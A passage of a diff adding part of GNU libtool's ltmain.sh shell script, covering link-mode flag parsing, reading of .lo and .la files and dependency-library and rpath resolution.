save_arg=$arg + moreargs= + for fil in `cat $save_arg` + do +# moreargs="$moreargs $fil" + arg=$fil + # A libtool-controlled object. + + # Check to see that this really is a libtool object. + if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + pic_object= + non_pic_object= + + # Read the .lo file + # If there is no directory component, then add one. + case $arg in + */* | *\\*) . $arg ;; + *) . ./$arg ;; + esac + + if test -z "$pic_object" || \ + test -z "$non_pic_object" || + test "$pic_object" = none && \ + test "$non_pic_object" = none; then + $echo "$modename: cannot find name of object for \`$arg'" 1>&2 + exit $EXIT_FAILURE + fi + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + if test "$pic_object" != none; then + # Prepend the subdirectory the object is found in. + pic_object="$xdir$pic_object" + + if test "$prev" = dlfiles; then + if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then + dlfiles="$dlfiles $pic_object" + prev= + continue + else + # If libtool objects are unsupported, then we need to preload. + prev=dlprefiles + fi + fi + + # CHECK ME: I think I busted this. -Ossama + if test "$prev" = dlprefiles; then + # Preload the old-style object. + dlprefiles="$dlprefiles $pic_object" + prev= + fi + + # A PIC object. + libobjs="$libobjs $pic_object" + arg="$pic_object" + fi + + # Non-PIC object. + if test "$non_pic_object" != none; then + # Prepend the subdirectory the object is found in. + non_pic_object="$xdir$non_pic_object" + + # A standard non-PIC object + non_pic_objects="$non_pic_objects $non_pic_object" + if test -z "$pic_object" || test "$pic_object" = none ; then + arg="$non_pic_object" + fi + fi + else + # Only an error if not doing a dry-run. + if test -z "$run"; then + $echo "$modename: \`$arg' is not a valid libtool object" 1>&2 + exit $EXIT_FAILURE + else + # Dry-run case. + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"` + non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"` + libobjs="$libobjs $pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + fi + done + else + $echo "$modename: link input file \`$save_arg' does not exist" + exit $EXIT_FAILURE + fi + arg=$save_arg + prev= + continue + ;; + rpath | xrpath) + # We need an absolute path. + case $arg in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + $echo "$modename: only absolute run-paths are allowed" 1>&2 + exit $EXIT_FAILURE + ;; + esac + if test "$prev" = rpath; then + case "$rpath " in + *" $arg "*) ;; + *) rpath="$rpath $arg" ;; + esac + else + case "$xrpath " in + *" $arg "*) ;; + *) xrpath="$xrpath $arg" ;; + esac + fi + prev= + continue + ;; + xcompiler) + compiler_flags="$compiler_flags $qarg" + prev= + compile_command="$compile_command $qarg" + finalize_command="$finalize_command $qarg" + continue + ;; + xlinker) + linker_flags="$linker_flags $qarg" + compiler_flags="$compiler_flags $wl$qarg" + prev= + compile_command="$compile_command $wl$qarg" + finalize_command="$finalize_command $wl$qarg" + continue + ;; + xcclinker) + linker_flags="$linker_flags $qarg" + compiler_flags="$compiler_flags $qarg" + prev= + compile_command="$compile_command $qarg" + finalize_command="$finalize_command $qarg" + continue + ;; + shrext) + shrext_cmds="$arg" + prev= + continue + ;; + *) + eval "$prev=\"\$arg\"" + prev= + continue + ;; + esac + fi # test -n "$prev" + + prevarg="$arg" + + case $arg in + -all-static) + if test -n "$link_static_flag"; then + compile_command="$compile_command $link_static_flag" + finalize_command="$finalize_command $link_static_flag" + fi + continue + ;; + + -allow-undefined) + # FIXME: remove this flag sometime in the future. + $echo "$modename: \`-allow-undefined' is deprecated because it is the default" 1>&2 + continue + ;; + + -avoid-version) + avoid_version=yes + continue + ;; + + -dlopen) + prev=dlfiles + continue + ;; + + -dlpreopen) + prev=dlprefiles + continue + ;; + + -export-dynamic) + export_dynamic=yes + continue + ;; + + -export-symbols | -export-symbols-regex) + if test -n "$export_symbols" || test -n "$export_symbols_regex"; then + $echo "$modename: more than one -exported-symbols argument is not allowed" + exit $EXIT_FAILURE + fi + if test "X$arg" = "X-export-symbols"; then + prev=expsyms + else + prev=expsyms_regex + fi + continue + ;; + + -inst-prefix-dir) + prev=inst_prefix + continue + ;; + + # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:* + # so, if we see these flags be careful not to treat them like -L + -L[A-Z][A-Z]*:*) + case $with_gcc/$host in + no/*-*-irix* | /*-*-irix*) + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + ;; + esac + continue + ;; + + -L*) + dir=`$echo "X$arg" | $Xsed -e 's/^-L//'` + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + absdir=`cd "$dir" && pwd` + if test -z "$absdir"; then + $echo "$modename: cannot determine absolute directory name of \`$dir'" 1>&2 + exit $EXIT_FAILURE + fi + dir="$absdir" + ;; + esac + case "$deplibs " in + *" -L$dir "*) ;; + *) + deplibs="$deplibs -L$dir" + lib_search_path="$lib_search_path $dir" + ;; + esac + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + case :$dllsearchpath: in + *":$dir:"*) ;; + *) dllsearchpath="$dllsearchpath:$dir";; + esac + ;; + esac + continue + ;; + + -l*) + if test "X$arg" = "X-lc" || test "X$arg" = "X-lm"; then + case $host in + *-*-cygwin* | *-*-pw32* | *-*-beos*) + # These systems don't actually have a C or math library (as such) + continue + ;; + *-*-mingw* | *-*-os2*) + # These systems don't actually have a C library (as such) + test "X$arg" = "X-lc" && continue + ;; + *-*-openbsd* | *-*-freebsd*) + # Do not include libc due to us having libc/libc_r. + test "X$arg" = "X-lc" && continue + ;; + *-*-rhapsody* | *-*-darwin1.[012]) + # Rhapsody C and math libraries are in the System framework + deplibs="$deplibs -framework System" + continue + esac + elif test "X$arg" = "X-lc_r"; then + case $host in + *-*-openbsd* | *-*-freebsd*) + # Do not include libc_r directly, use -pthread flag. + continue + ;; + esac + fi + deplibs="$deplibs $arg" + continue + ;; + + -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe) + deplibs="$deplibs $arg" + continue + ;; + + -module) + module=yes + continue + ;; + + # gcc -m* arguments should be passed to the linker via $compiler_flags + # in order to pass architecture information to the linker + # (e.g. 32 vs 64-bit). This may also be accomplished via -Wl,-mfoo + # but this is not reliable with gcc because gcc may use -mfoo to + # select a different linker, different libraries, etc, while + # -Wl,-mfoo simply passes -mfoo to the linker. + -m*) + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + if test "$with_gcc" = "yes" ; then + compiler_flags="$compiler_flags $arg" + fi + continue + ;; + + -shrext) + prev=shrext + continue + ;; + + -no-fast-install) + fast_install=no + continue + ;; + + -no-install) + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + # The PATH hackery in wrapper scripts is required on Windows + # in order for the loader to find any dlls it needs. + $echo "$modename: warning: \`-no-install' is ignored for $host" 1>&2 + $echo "$modename: warning: assuming \`-no-fast-install' instead" 1>&2 + fast_install=no + ;; + *) no_install=yes ;; + esac + continue + ;; + + -no-undefined) + allow_undefined=no + continue + ;; + + -objectlist) + prev=objectlist + continue + ;; + + -o) prev=output ;; + + -precious-files-regex) + prev=precious_regex + continue + ;; + + -release) + prev=release + continue + ;; + + -rpath) + prev=rpath + continue + ;; + + -R) + prev=xrpath + continue + ;; + + -R*) + dir=`$echo "X$arg" | $Xsed -e 's/^-R//'` + # We need an absolute path. + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) ;; + *) + $echo "$modename: only absolute run-paths are allowed" 1>&2 + exit $EXIT_FAILURE + ;; + esac + case "$xrpath " in + *" $dir "*) ;; + *) xrpath="$xrpath $dir" ;; + esac + continue + ;; + + -static) + # The effects of -static are defined in a previous loop. + # We used to do the same as -all-static on platforms that + # didn't have a PIC flag, but the assumption that the effects + # would be equivalent was wrong. It would break on at least + # Digital Unix and AIX. + continue + ;; + + -thread-safe) + thread_safe=yes + continue + ;; + + -version-info) + prev=vinfo + continue + ;; + -version-number) + prev=vinfo + vinfo_number=yes + continue + ;; + + -Wc,*) + args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wc,//'` + arg= + save_ifs="$IFS"; IFS=',' + for flag in $args; do + IFS="$save_ifs" + case $flag in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + flag="\"$flag\"" + ;; + esac + arg="$arg $wl$flag" + compiler_flags="$compiler_flags $flag" + done + IFS="$save_ifs" + arg=`$echo "X$arg" | $Xsed -e "s/^ //"` + ;; + + -Wl,*) + args=`$echo "X$arg" | $Xsed -e "$sed_quote_subst" -e 's/^-Wl,//'` + arg= + save_ifs="$IFS"; IFS=',' + for flag in $args; do + IFS="$save_ifs" + case $flag in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + flag="\"$flag\"" + ;; + esac + arg="$arg $wl$flag" + compiler_flags="$compiler_flags $wl$flag" + linker_flags="$linker_flags $flag" + done + IFS="$save_ifs" + arg=`$echo "X$arg" | $Xsed -e "s/^ //"` + ;; + + -Xcompiler) + prev=xcompiler + continue + ;; + + -Xlinker) + prev=xlinker + continue + ;; + + -XCClinker) + prev=xcclinker + continue + ;; + + # Some other compiler flag. + -* | +*) + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + ;; + + *.$objext) + # A standard object. + objs="$objs $arg" + ;; + + *.lo) + # A libtool-controlled object. + + # Check to see that this really is a libtool object. + if (${SED} -e '2q' $arg | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + pic_object= + non_pic_object= + + # Read the .lo file + # If there is no directory component, then add one. + case $arg in + */* | *\\*) . $arg ;; + *) . ./$arg ;; + esac + + if test -z "$pic_object" || \ + test -z "$non_pic_object" || + test "$pic_object" = none && \ + test "$non_pic_object" = none; then + $echo "$modename: cannot find name of object for \`$arg'" 1>&2 + exit $EXIT_FAILURE + fi + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + if test "$pic_object" != none; then + # Prepend the subdirectory the object is found in. + pic_object="$xdir$pic_object" + + if test "$prev" = dlfiles; then + if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then + dlfiles="$dlfiles $pic_object" + prev= + continue + else + # If libtool objects are unsupported, then we need to preload. + prev=dlprefiles + fi + fi + + # CHECK ME: I think I busted this. -Ossama + if test "$prev" = dlprefiles; then + # Preload the old-style object. + dlprefiles="$dlprefiles $pic_object" + prev= + fi + + # A PIC object. + libobjs="$libobjs $pic_object" + arg="$pic_object" + fi + + # Non-PIC object. + if test "$non_pic_object" != none; then + # Prepend the subdirectory the object is found in. + non_pic_object="$xdir$non_pic_object" + + # A standard non-PIC object + non_pic_objects="$non_pic_objects $non_pic_object" + if test -z "$pic_object" || test "$pic_object" = none ; then + arg="$non_pic_object" + fi + fi + else + # Only an error if not doing a dry-run. + if test -z "$run"; then + $echo "$modename: \`$arg' is not a valid libtool object" 1>&2 + exit $EXIT_FAILURE + else + # Dry-run case. + + # Extract subdirectory from the argument. + xdir=`$echo "X$arg" | $Xsed -e 's%/[^/]*$%%'` + if test "X$xdir" = "X$arg"; then + xdir= + else + xdir="$xdir/" + fi + + pic_object=`$echo "X${xdir}${objdir}/${arg}" | $Xsed -e "$lo2o"` + non_pic_object=`$echo "X${xdir}${arg}" | $Xsed -e "$lo2o"` + libobjs="$libobjs $pic_object" + non_pic_objects="$non_pic_objects $non_pic_object" + fi + fi + ;; + + *.$libext) + # An archive. + deplibs="$deplibs $arg" + old_deplibs="$old_deplibs $arg" + continue + ;; + + *.la) + # A libtool-controlled library. + + if test "$prev" = dlfiles; then + # This library was specified with -dlopen. + dlfiles="$dlfiles $arg" + prev= + elif test "$prev" = dlprefiles; then + # The library was specified with -dlpreopen. + dlprefiles="$dlprefiles $arg" + prev= + else + deplibs="$deplibs $arg" + fi + continue + ;; + + # Some other compiler argument. + *) + # Unknown arguments in both finalize_command and compile_command need + # to be aesthetically quoted because they are evaled later. + arg=`$echo "X$arg" | $Xsed -e "$sed_quote_subst"` + case $arg in + *[\[\~\#\^\&\*\(\)\{\}\|\;\<\>\?\'\ \ ]*|*]*|"") + arg="\"$arg\"" + ;; + esac + ;; + esac # arg + + # Now actually substitute the argument into the commands. + if test -n "$arg"; then + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + fi + done # argument parsing loop + + if test -n "$prev"; then + $echo "$modename: the \`$prevarg' option requires an argument" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + fi + + if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then + eval arg=\"$export_dynamic_flag_spec\" + compile_command="$compile_command $arg" + finalize_command="$finalize_command $arg" + fi + + oldlibs= + # calculate the name of the file, without its directory + outputname=`$echo "X$output" | $Xsed -e 's%^.*/%%'` + libobjs_save="$libobjs" + + if test -n "$shlibpath_var"; then + # get the directories listed in $shlibpath_var + eval shlib_search_path=\`\$echo \"X\${$shlibpath_var}\" \| \$Xsed -e \'s/:/ /g\'\` + else + shlib_search_path= + fi + eval sys_lib_search_path=\"$sys_lib_search_path_spec\" + eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\" + + output_objdir=`$echo "X$output" | $Xsed -e 's%/[^/]*$%%'` + if test "X$output_objdir" = "X$output"; then + output_objdir="$objdir" + else + output_objdir="$output_objdir/$objdir" + fi + # Create the object directory. + if test ! -d "$output_objdir"; then + $show "$mkdir $output_objdir" + $run $mkdir $output_objdir + status=$? + if test "$status" -ne 0 && test ! -d "$output_objdir"; then + exit $status + fi + fi + + # Determine the type of output + case $output in + "") + $echo "$modename: you must specify an output file" 1>&2 + $echo "$help" 1>&2 + exit $EXIT_FAILURE + ;; + *.$libext) linkmode=oldlib ;; + *.lo | *.$objext) linkmode=obj ;; + *.la) linkmode=lib ;; + *) linkmode=prog ;; # Anything else should be a program. + esac + + case $host in + *cygwin* | *mingw* | *pw32*) + # don't eliminate duplications in $postdeps and $predeps + duplicate_compiler_generated_deps=yes + ;; + *) + duplicate_compiler_generated_deps=$duplicate_deps + ;; + esac + specialdeplibs= + + libs= + # Find all interdependent deplibs by searching for libraries + # that are linked more than once (e.g. -la -lb -la) + for deplib in $deplibs; do + if test "X$duplicate_deps" = "Xyes" ; then + case "$libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + libs="$libs $deplib" + done + + if test "$linkmode" = lib; then + libs="$predeps $libs $compiler_lib_search_path $postdeps" + + # Compute libraries that are listed more than once in $predeps + # $postdeps and mark them as special (i.e., whose duplicates are + # not to be eliminated). + pre_post_deps= + if test "X$duplicate_compiler_generated_deps" = "Xyes" ; then + for pre_post_dep in $predeps $postdeps; do + case "$pre_post_deps " in + *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;; + esac + pre_post_deps="$pre_post_deps $pre_post_dep" + done + fi + pre_post_deps= + fi + + deplibs= + newdependency_libs= + newlib_search_path= + need_relink=no # whether we're linking any uninstalled libtool libraries + notinst_deplibs= # not-installed libtool libraries + notinst_path= # paths that contain not-installed libtool libraries + case $linkmode in + lib) + passes="conv link" + for file in $dlfiles $dlprefiles; do + case $file in + *.la) ;; + *) + $echo "$modename: libraries can \`-dlopen' only libtool libraries: $file" 1>&2 + exit $EXIT_FAILURE + ;; + esac + done + ;; + prog) + compile_deplibs= + finalize_deplibs= + alldeplibs=no + newdlfiles= + newdlprefiles= + passes="conv scan dlopen dlpreopen link" + ;; + *) passes="conv" + ;; + esac + for pass in $passes; do + if test "$linkmode,$pass" = "lib,link" || + test "$linkmode,$pass" = "prog,scan"; then + libs="$deplibs" + deplibs= + fi + if test "$linkmode" = prog; then + case $pass in + dlopen) libs="$dlfiles" ;; + dlpreopen) libs="$dlprefiles" ;; + link) libs="$deplibs %DEPLIBS% $dependency_libs" ;; + esac + fi + if test "$pass" = dlopen; then + # Collect dlpreopened libraries + save_deplibs="$deplibs" + deplibs= + fi + for deplib in $libs; do + lib= + found=no + case $deplib in + -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe) + if test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + fi + continue + ;; + -l*) + if test "$linkmode" != lib && test "$linkmode" != prog; then + $echo "$modename: warning: \`-l' is ignored for archives/objects" 1>&2 + continue + fi + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + continue + fi + name=`$echo "X$deplib" | $Xsed -e 's/^-l//'` + for searchdir in $newlib_search_path $lib_search_path $sys_lib_search_path $shlib_search_path; do + for search_ext in .la $std_shrext .so .a; do + # Search the libtool library + lib="$searchdir/lib${name}${search_ext}" + if test -f "$lib"; then + if test "$search_ext" = ".la"; then + found=yes + else + found=no + fi + break 2 + fi + done + done + if test "$found" != yes; then + # deplib doesn't seem to be a libtool library + if test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" + fi + continue + else # deplib is a libtool library + # If $allow_libtool_libs_with_static_runtimes && $deplib is a stdlib, + # We need to do some special things here, and not later. + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + case " $predeps $postdeps " in + *" $deplib "*) + if (${SED} -e '2q' $lib | + grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then + library_names= + old_library= + case $lib in + */* | *\\*) . $lib ;; + *) . ./$lib ;; + esac + for l in $old_library $library_names; do + ll="$l" + done + if test "X$ll" = "X$old_library" ; then # only static version available + found=no + ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'` + test "X$ladir" = "X$lib" && ladir="." + lib=$ladir/$old_library + if test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + deplibs="$deplib $deplibs" + test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" + fi + continue + fi + fi + ;; + *) ;; + esac + fi + fi + ;; # -l + -L*) + case $linkmode in + lib) + deplibs="$deplib $deplibs" + test "$pass" = conv && continue + newdependency_libs="$deplib $newdependency_libs" + newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'` + ;; + prog) + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + continue + fi + if test "$pass" = scan; then + deplibs="$deplib $deplibs" + else + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + fi + newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'` + ;; + *) + $echo "$modename: warning: \`-L' is ignored for archives/objects" 1>&2 + ;; + esac # linkmode + continue + ;; # -L + -R*) + if test "$pass" = link; then + dir=`$echo "X$deplib" | $Xsed -e 's/^-R//'` + # Make sure the xrpath contains only unique directories. + case "$xrpath " in + *" $dir "*) ;; + *) xrpath="$xrpath $dir" ;; + esac + fi + deplibs="$deplib $deplibs" + continue + ;; + *.la) lib="$deplib" ;; + *.$libext) + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + continue + fi + case $linkmode in + lib) + valid_a_lib=no + case $deplibs_check_method in + match_pattern*) + set dummy $deplibs_check_method + match_pattern_regex=`expr "$deplibs_check_method" : "$2 \(.*\)"` + if eval $echo \"$deplib\" 2>/dev/null \ + | $SED 10q \ + | $EGREP "$match_pattern_regex" > /dev/null; then + valid_a_lib=yes + fi + ;; + pass_all) + valid_a_lib=yes + ;; + esac + if test "$valid_a_lib" != yes; then + $echo + $echo "*** Warning: Trying to link with static lib archive $deplib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because the file extensions .$libext of this argument makes me believe" + $echo "*** that it is just a static archive that I should not used here." + else + $echo + $echo "*** Warning: Linking the shared library $output against the" + $echo "*** static library $deplib is not portable!" + deplibs="$deplib $deplibs" + fi + continue + ;; + prog) + if test "$pass" != link; then + deplibs="$deplib $deplibs" + else + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + fi + continue + ;; + esac # linkmode + ;; # *.$libext + *.lo | *.$objext) + if test "$pass" = conv; then + deplibs="$deplib $deplibs" + elif test "$linkmode" = prog; then + if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then + # If there is no dlopen support or we're linking statically, + # we need to preload. + newdlprefiles="$newdlprefiles $deplib" + compile_deplibs="$deplib $compile_deplibs" + finalize_deplibs="$deplib $finalize_deplibs" + else + newdlfiles="$newdlfiles $deplib" + fi + fi + continue + ;; + %DEPLIBS%) + alldeplibs=yes + continue + ;; + esac # case $deplib + if test "$found" = yes || test -f "$lib"; then : + else + $echo "$modename: cannot find the library \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + + # Check to see that this really is a libtool archive. + if (${SED} -e '2q' $lib | grep "^# Generated by .*$PACKAGE") >/dev/null 2>&1; then : + else + $echo "$modename: \`$lib' is not a valid libtool archive" 1>&2 + exit $EXIT_FAILURE + fi + + ladir=`$echo "X$lib" | $Xsed -e 's%/[^/]*$%%'` + test "X$ladir" = "X$lib" && ladir="." + + dlname= + dlopen= + dlpreopen= + libdir= + library_names= + old_library= + # If the library was installed with an old release of libtool, + # it will not redefine variables installed, or shouldnotlink + installed=yes + shouldnotlink=no + + # Read the .la file + case $lib in + */* | *\\*) . $lib ;; + *) . ./$lib ;; + esac + + if test "$linkmode,$pass" = "lib,link" || + test "$linkmode,$pass" = "prog,scan" || + { test "$linkmode" != prog && test "$linkmode" != lib; }; then + test -n "$dlopen" && dlfiles="$dlfiles $dlopen" + test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen" + fi + + if test "$pass" = conv; then + # Only check for convenience libraries + deplibs="$lib $deplibs" + if test -z "$libdir"; then + if test -z "$old_library"; then + $echo "$modename: cannot find name of link library for \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + # It is a libtool convenience library, so add in its objects. + convenience="$convenience $ladir/$objdir/$old_library" + old_convenience="$old_convenience $ladir/$objdir/$old_library" + tmp_libs= + for deplib in $dependency_libs; do + deplibs="$deplib $deplibs" + if test "X$duplicate_deps" = "Xyes" ; then + case "$tmp_libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + tmp_libs="$tmp_libs $deplib" + done + elif test "$linkmode" != prog && test "$linkmode" != lib; then + $echo "$modename: \`$lib' is not a convenience library" 1>&2 + exit $EXIT_FAILURE + fi + continue + fi # $pass = conv + + + # Get the name of the library we link against. + linklib= + for l in $old_library $library_names; do + linklib="$l" + done + if test -z "$linklib"; then + $echo "$modename: cannot find name of link library for \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + + # This library was specified with -dlopen. + if test "$pass" = dlopen; then + if test -z "$libdir"; then + $echo "$modename: cannot -dlopen a convenience library: \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + if test -z "$dlname" || + test "$dlopen_support" != yes || + test "$build_libtool_libs" = no; then + # If there is no dlname, no dlopen support or we're linking + # statically, we need to preload. We also need to preload any + # dependent libraries so libltdl's deplib preloader doesn't + # bomb out in the load deplibs phase. + dlprefiles="$dlprefiles $lib $dependency_libs" + else + newdlfiles="$newdlfiles $lib" + fi + continue + fi # $pass = dlopen + + # We need an absolute path. + case $ladir in + [\\/]* | [A-Za-z]:[\\/]*) abs_ladir="$ladir" ;; + *) + abs_ladir=`cd "$ladir" && pwd` + if test -z "$abs_ladir"; then + $echo "$modename: warning: cannot determine absolute directory name of \`$ladir'" 1>&2 + $echo "$modename: passing it literally to the linker, although it might fail" 1>&2 + abs_ladir="$ladir" + fi + ;; + esac + laname=`$echo "X$lib" | $Xsed -e 's%^.*/%%'` + + # Find the relevant object directory and library name. + if test "X$installed" = Xyes; then + if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then + $echo "$modename: warning: library \`$lib' was moved." 1>&2 + dir="$ladir" + absdir="$abs_ladir" + libdir="$abs_ladir" + else + dir="$libdir" + absdir="$libdir" + fi + else + if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$linklib"; then + dir="$ladir" + absdir="$abs_ladir" + # Remove this search path later + notinst_path="$notinst_path $abs_ladir" + else + dir="$ladir/$objdir" + absdir="$abs_ladir/$objdir" + # Remove this search path later + notinst_path="$notinst_path $abs_ladir" + fi + fi # $installed = yes + name=`$echo "X$laname" | $Xsed -e 's/\.la$//' -e 's/^lib//'` + + # This library was specified with -dlpreopen. + if test "$pass" = dlpreopen; then + if test -z "$libdir"; then + $echo "$modename: cannot -dlpreopen a convenience library: \`$lib'" 1>&2 + exit $EXIT_FAILURE + fi + # Prefer using a static library (so that no silly _DYNAMIC symbols + # are required to link). + if test -n "$old_library"; then + newdlprefiles="$newdlprefiles $dir/$old_library" + # Otherwise, use the dlname, so that lt_dlopen finds it. + elif test -n "$dlname"; then + newdlprefiles="$newdlprefiles $dir/$dlname" + else + newdlprefiles="$newdlprefiles $dir/$linklib" + fi + fi # $pass = dlpreopen + + if test -z "$libdir"; then + # Link the convenience library + if test "$linkmode" = lib; then + deplibs="$dir/$old_library $deplibs" + elif test "$linkmode,$pass" = "prog,link"; then + compile_deplibs="$dir/$old_library $compile_deplibs" + finalize_deplibs="$dir/$old_library $finalize_deplibs" + else + deplibs="$lib $deplibs" # used for prog,scan pass + fi + continue + fi + + + if test "$linkmode" = prog && test "$pass" != link; then + newlib_search_path="$newlib_search_path $ladir" + deplibs="$lib $deplibs" + + linkalldeplibs=no + if test "$link_all_deplibs" != no || test -z "$library_names" || + test "$build_libtool_libs" = no; then + linkalldeplibs=yes + fi + + tmp_libs= + for deplib in $dependency_libs; do + case $deplib in + -L*) newlib_search_path="$newlib_search_path "`$echo "X$deplib" | $Xsed -e 's/^-L//'`;; ### testsuite: skip nested quoting test + esac + # Need to link against all dependency_libs? + if test "$linkalldeplibs" = yes; then + deplibs="$deplib $deplibs" + else + # Need to hardcode shared library paths + # or/and link against static libraries + newdependency_libs="$deplib $newdependency_libs" + fi + if test "X$duplicate_deps" = "Xyes" ; then + case "$tmp_libs " in + *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;; + esac + fi + tmp_libs="$tmp_libs $deplib" + done # for deplib + continue + fi # $linkmode = prog... + + if test "$linkmode,$pass" = "prog,link"; then + if test -n "$library_names" && + { test "$prefer_static_libs" = no || test -z "$old_library"; }; then + # We need to hardcode the library path + if test -n "$shlibpath_var"; then + # Make sure the rpath contains only unique directories. + case "$temp_rpath " in + *" $dir "*) ;; + *" $absdir "*) ;; + *) temp_rpath="$temp_rpath $dir" ;; + esac + fi + + # Hardcode the library path. + # Skip directories that are in the system default run-time + # search path. + case " $sys_lib_dlsearch_path " in + *" $absdir "*) ;; + *) + case "$compile_rpath " in + *" $absdir "*) ;; + *) compile_rpath="$compile_rpath $absdir" + esac + ;; + esac + case " $sys_lib_dlsearch_path " in + *" $libdir "*) ;; + *) + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" + esac + ;; + esac + fi # $linkmode,$pass = prog,link... + + if test "$alldeplibs" = yes && + { test "$deplibs_check_method" = pass_all || + { test "$build_libtool_libs" = yes && + test -n "$library_names"; }; }; then + # We only need to search for static libraries + continue + fi + fi + + link_static=no # Whether the deplib will be linked statically + if test -n "$library_names" && + { test "$prefer_static_libs" = no || test -z "$old_library"; }; then + if test "$installed" = no; then + notinst_deplibs="$notinst_deplibs $lib" + need_relink=yes + fi + # This is a shared library + + # Warn about portability, can't link against -module's on + # some systems (darwin) + if test "$shouldnotlink" = yes && test "$pass" = link ; then + $echo + if test "$linkmode" = prog; then + $echo "*** Warning: Linking the executable $output against the loadable module" + else + $echo "*** Warning: Linking the shared library $output against the loadable module" + fi + $echo "*** $linklib is not portable!" + fi + if test "$linkmode" = lib && + test "$hardcode_into_libs" = yes; then + # Hardcode the library path. + # Skip directories that are in the system default run-time + # search path. + case " $sys_lib_dlsearch_path " in + *" $absdir "*) ;; + *) + case "$compile_rpath " in + *" $absdir "*) ;; + *) compile_rpath="$compile_rpath $absdir" + esac + ;; + esac + case " $sys_lib_dlsearch_path " in + *" $libdir "*) ;; + *) + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" + esac + ;; + esac + fi + + if test -n "$old_archive_from_expsyms_cmds"; then + # figure out the soname + set dummy $library_names + realname="$2" + shift; shift + libname=`eval \\$echo \"$libname_spec\"` + # use dlname if we got it. it's perfectly good, no? + if test -n "$dlname"; then + soname="$dlname" + elif test -n "$soname_spec"; then + # bleh windows + case $host in + *cygwin* | mingw*) + 